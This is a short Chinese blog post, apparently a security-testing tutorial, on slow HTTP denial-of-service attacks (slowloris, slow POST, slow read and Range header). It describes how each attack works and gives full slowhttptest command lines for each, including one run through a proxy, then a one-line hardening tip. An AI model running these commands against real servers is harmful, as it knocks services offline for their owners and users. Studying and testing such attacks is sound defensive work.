• 慢速dos攻击


    工具:slowhttptest

    攻击模式:

    slowloris:完整的http请求是以 n结尾,攻击时仅发送 ,少发送一个 ,服务器认为请求还未发完,就会一直等待直至超时。等待过程中占用连接数达到服务器连接数上限,服务器便无法处理其他请求。

    slow http post:原理和slowloris有点类似,这次是通过声明一个较大的content-length后,body缓慢发送,导致服务器一直等待。

    slow read attack:向服务器发送一个正常合法的read请求,请求一个很大的文件,但把TCP滑动窗口设置的很小,服务器就会以滑动窗口的大小切割文件,然后发送。文件长期滞留在内存中,消耗资源。这里有两点要注意:1.tcp窗口设置要比服务器的socket缓存小,这样发送才慢。    2.请求的文件要比服务器的socket缓存大,使得服务器无法一下子将文件放到缓存,然后去处理其他事情,而是必须不停的将文件切割成窗口大小,再放入缓存,同时攻击端一直说自己收不到。


    slowhttptest安装

    kali直接安装 apt install slowhttptest

    实例:

    slowloris模式:

    slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u "url" -x 24 -p 3

    slow post模式:

    slowhttptest -c 3000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u "url" -x 10 -p 3

    slow read模式:

    slowhttptest -c 8000 -X -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u "url" -p 3

    Range Header test:在http请求的RANGE HEADER中包含大量字段,使得服务器在服务端将一个很小的文件分割成大量的更小的片段再压缩。分段压缩过程消耗大量的服务器资源,导致DOS。
    slowhttptest -R -u "url" -t HEAD -c 1000 -a 10 -b 3000 -r 500

    测试的时候,添加代理

    slowhttptest -c 1000 -X -r 1000 -w 10 -y 20 -n 5 -z 32 -u url -p 5 -l 350 -e lhost:lport

    然后查看浏览器网络连接时间对比
    image
    image
    明显连接超时,异常访问时间。

    修复建议:

    对web服务器的HTTP头部传输的最大许可时间进行限制,修改成最大许可时间为20秒
    canvas








  • 相关阅读:
    概率派VS贝叶斯派
    Numpy-数组array操作
    Numpy基础
    PCA基本原理
    编程语言
    卷积神经网络基础
    IntelliJ IDEA Merge
    Mybatis 问题总结
    Lambda用法
    Map键值对取值, key是在"|"转义, value是在::取值
  • 原文地址:https://www.cnblogs.com/sup3rman/p/12868918.html
Copyright © 2020-2023  润新知